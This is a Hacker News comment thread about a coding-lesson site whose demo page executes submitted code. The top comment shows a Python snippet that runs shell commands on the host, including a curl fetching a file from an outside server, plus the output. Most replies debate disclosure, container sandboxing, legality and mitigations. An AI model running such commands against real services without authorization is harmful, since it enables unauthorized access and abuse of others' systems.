Hacker News Reader

Comment by xtrapolate | Hacker News Reader

Good job. However, I was able to run the following on your machine (on the publicly available demo page):

def hello(): import os print(os.system("whoami")) print(os.system("hostname")) print(os.system("curl http://redacted/ > ./owned.txt")) print(os.system("curl -s http://whatismyip.akamai.com/")) print(os.system("cat ./owned.txt")) print(os.system("ping -c 1 8.8.8.8"))

Results:

codewarrior 5a8eb7db8f0e 162.243.103.238 PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data. 64 bytes from 8.8.8.8: icmp_seq=1 ttl=123 time=0.668 ms --- 8.8.8.8 ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 0.668/0.668/0.668/0.000 ms

162.243.103.238 is a DigitalOcean address. My server's log indicates the curl command actually pulled the file. Please secure your services or they will be abused by wrong doers. In all honesty, I would advise to take the entire service down until this is fully mitigated.

View on HN

For anyone else who runs into this. You can restricted a set of capabilities each container can use. This, for example can deny mount operations, socket access, etc. You can do this via "docker run" --cap-add or --cap-drop [2]. This type of stuff is great for running docker-in-docker for these types of learning tools or Jenkins builds. You'll need to play around with it though to make sure it'll work for you.

For a real-world example check out http://play-with-docker.com as they are running docker-in-docker and all the backend code is at https://github.com/play-with-docker/play-with-docker. So, you can likely get ideas from what they are doing to lock down their env.

[1] https://docs.docker.com/engine/security/security/#linux-kern...

[2] https://docs.docker.com/engine/reference/run/#runtime-privil...

I can’t help but feel that posting this in a HN comment when they’re showing off the site isn’t exactly responsible disclosure.

Responsible disclosure is meant when it can jeopardize user data or user devices. It’s reasonable to assume none of that apply for a brand new service. Specially now everyone is learning from it.

I disagree. I see HN as a community of people involved in similar pursuits, and demonstrating issues like this publicly is educational for everyone.

Sure, but you can "demonstrate" the details after it's fixed.

Seems like a lot of damage could have been obviously omitted by just removing anything os.system(), which for the purpose (not effect here) of Duolingo style education should have been just fine.

I get your point and the other guy’s too. I line up on the side that disclosures should be messy and embarrassing sometimes, as incentive to really think about what you are doing. The danger here is low.

If this is running inside docker, please consider putting limits or disabling network to the container completely. Using --net=none option.

All code is executed in a docker container and destroyed after runtime completes (or times out). It's also contained on a remote server completely unrelated to the functioning of the web app itself. Over the past year and a half I've hired two developers familiar with how docker works to find security exploits. None could find any. Can you still access the file you created?

It's obviously running in a container. I'm not sure your code really shows anything too concerning if they are taking precautions outside of the container to mitigate things like DDoS etc.

Getting an exorbitant bill from DigitalOcean after someone has abused your "containers" would not concern you then?

I'm just not sure what you are alleging? Just because you have full "shell" access to the container doesn't necessarily imply any thing needs to be mitigated.

What specifically are your concerns? What about what you've learned will create an exorbitant bill?

> "What specifically are your concerns? What about what you've learned will create an exorbitant bill?"

Abusing the containers to send large amounts of outgoing traffic would do just that. Downloading files would do that too. How about sending a "while(true) { }" to hog some CPU? It doesn't take much to cause significant monetary damage.

Depending on their set-up, those containers could contain credentials or some other means to compromise the rest of the website. Perhaps it is possible to re-use the containers across different "sessions", serving multiple clients with malicious traffic. Those are plausible scenarios.

I'm not carrying out a full PT right now. Demonstrating the platform has been compromised is more than enough. Any other questions?

> How about sending a "while(true) { }"

Running ps shows the timeout command as PID 1, and evidently an infinite loop gets killed after some point. In fact, there aren't any other processes besides sh, node, and the Python interpreter, and I'm not familiar with containers to know how this is possibly implemented (because obviously, timeout cannot be PID 1, so ps is wrong here).

But you don't know that they aren't using cgroups or a proxy to throttle traffic or cpu access, right? To me, it seemed that your message was overly dramatic when you didn't really prove anything. Depending on their set-up indeed. I just don't see the compromise in your analysis.

You're right but the fact that he was able to curl a file from the outside does seem pretty bad. It means that you can effectively proxy traffic through the website and use it to target 3rd parties.

Just because you have full "shell" access to the container doesn't necessarily imply any thing needs to be mitigated.

What do you mean? It's an arbitrary RCE - a scenario that's generally treated as game over. What specifically are the concerns you don't have if that happens to a system of yours?

In a very carefully configured container regime, you might not be getting anything other than the access the API already had to run code submitted by users. You'd have RCE, but your code can only do the limited set of things permitted by the container; it might not have access to any meaningful filesystem, or to the network, or to the container engine.

It's very tricky to create and maintain those kinds of container systems, but there are services (for instance, the cloud CI providers) that do it.

On applications like these, where the premise is that you give them some kind of code and they evaluate it for you, escaping the "user interface" sandbox isn't game over; you'd have to finish the exercise of escalating to the container host or getting access to an internal network with internal APIs on it.

It's a little like getting SQL injection, but confined to some kind of SQL view. Chances are the application is doomed, but you still have to prove it.

Right, I understand that but you'd not pick a container as your primary line of isolation for running arbitrary Go code. The GP is saying - it's cool, because containers. Yes, perhaps in exceptionally skilled hands, maybe this is sane but generally it's not. The official go playground's first sandbox is Native Client.

Can we not stipulate the existence of a container breakout of the week?

Can you link to a container breakout exploit from the past 6 months?

remote code execution doesn't really mean much in an un-privileged container. They could be using cgroup limits, capability drops, MAC, seccomp, etc etc

Now, I'm not saying that containers are super tight by default. It is entirely possible this particular container env is wide open, but I didn't really see anything too concerning from the parents analysis.

remote code execution doesn't really mean much in an un-privileged container.

It means pretty much everything. Have you ever heard of someone reporting an RCE in a major service and it being treated as no big deal? They're invariably treated as catastrophic compromise because it is. The jump from RCE to privilege escalation, escape, etc is nothing compared to the actual RCE-ing.

when the platform is itself about RCE... I think you have to evaluate what specific dangerous code can be executed before you start lighting the torches.

For one you can now use this page to spam other services.

Breaking out of a container isn't the only security worry.

They have a "Register" button at the top right where you can enter a username and password. If you have shell access to the box (no matter how virtual the box is), there's a good chance you can alter the site's code and capture the passwords people enter. And knowing that, in the real world, people do reuse passwords, this could easily lead to compromising accounts on other sites.

They also have a privacy policy (linked at the bottom) in which they make all kinds of promises about not leaking your personal data. If someone can take over their machine, and they know it, and they don't shut it down, it seems like that would violate the promises made in that privacy policy.

Also, of course, an attacker could alter the site to exploit any vulnerabilities in the users' browsers, so it opens up an attack vector there. Obviously users need to keep browsers patched, but people expect the risk to be lower when visiting legitimate sites.

Even if the containers were running on the same physical machine as the webapp you'd have to break out of the container your code is in first... If you know of a container breakout exploit then you should definitely publish it!

a container is not about security, I don't think docker made any claim that you can't easily escape from a container.

Right, a container is about isolation.

I didn't mention anything about docker, seeing that containers are a linux kernel feature, but if you know of container escape vulnerabilities in the kernel you should publish them.

To others thinking about doing this: keep in mind this is against the law in the United States. Even if it's for a "good cause", you can't just "pen-test" (hack) anyone you want.

Granted, I really doubt anyone would prosecute over something like this, but a bigger company? Absolutely possible.

He needs to be running a client-side service, not running whatever someone enters on his machine

I wonder if WebAssembly could help accomplish that.

Still, even Rust has a compile-and-execute web service call accessible from the rust-lang home page. If Rust people (who tend to emphasize security) feel it is possible to secure that web service, then I'm inclined to believe them. It may be difficult though.

Thanks for my next project!

Actually I think the Rust folks would appreciate any feedback on the security of the service, as long as you don't DoS it or use it to do anything bad. :-)

> "He needs to be running a client-side service, not running whatever someone enters on his machine"

I would say that for the most part, websites such as this don't actually need a real, full-blown %s-lang compiler/VM that actually executes real code on a backend server. It would be enough to tokenize and parse things on the client's side and validate ABNF via JS. This would reduce the costs involved with running such a website, and the attack surface. If you want to get fancy, you could host an in-browser Python VM - but that's an overkill for a website such as this. Also, they're trying to support a fair bit of languages here, not all of which have browser-targeted tooling that could compile and run the code.

Then you end up with a system where someone can arrive at the right answer via AST that you didn't expect, which was a frustration when I helped students with a service like (IIRC) CodeCademy.

Parsing the AST is something I would love to apply to a site like 4clojure.com, to get a histogram of the "shape" of all of the submitted solutions.

How does the url http://redacted/ work? I've never seen a url without a tld on the end.

Could I register the domain http://foo ?

> "How does the url http://redacted/ work?"

I apologize for the confusion. I used an actual server there (ie. http://somename.com) but chose to redact the actual URL from this post.

Ah, that explains it. The link actually works, though.

Browser may autocomplete .com when given address starting with http://

Not for me! Might want to ask your ISP whats going on?

https://en.wikipedia.org/wiki/Example_domain

in this case, `redacted` itself is the tld. the company that owns `.redacted` (Redacted, Inc) has chosen to serve A records for it, which is rather uncommon.

For a while, the owners of `.ai` had a similar arrangement, but it seems to have been since taken down.

They meant they redacted the URL, not that the URL was literally "http://redacted".

I think a responsible thing should be to take down the site, so that other users data don't get hacked by misuse by some malicious entity.

And this also illustrates why Apple forbids any kind of iOS app that lets a user write and execute code.

Maybe I don't see your point, but an iOS app could execute code locally. The only risk is the device owner could compromise the device. There is no [additional] risk of another user doing so.

The browser's Javascript console also only runs code locally, but getting people to copy code into it is a serious attack vector.

Not saying that's Apple's reason, but being limited to local execution doesn't mean it's safe.

Because javascript run locally can connect to the internet, and if it put into the console within the page on a domain that is storing secrets in local storage/cookies, it can scoop up all your credentials or other private information and send them to some other server. Unrestricted local execution can give up full access to local user's accounts, so is not good. Server execution can do that and also maybe impact other users.

Apple forbids that because it wants to be able to control and validate applications on their store. If they allowed self-modifying code apps could auto-update and change their features post-install. This is not really related.

Except that hasn't been true for years in certain circumstances, particularly where the value of an app running user-created code is educational in nature. See Pythonista, Codea, Swift Playgrounds, or hell, Shortcuts.

Shortcuts, and Swift Playgrounds even more so, have been granted private entitlements by Apple to function.

What about Codea and Pythonista?

They don’t run native code.

Reply on news.ycombinator.com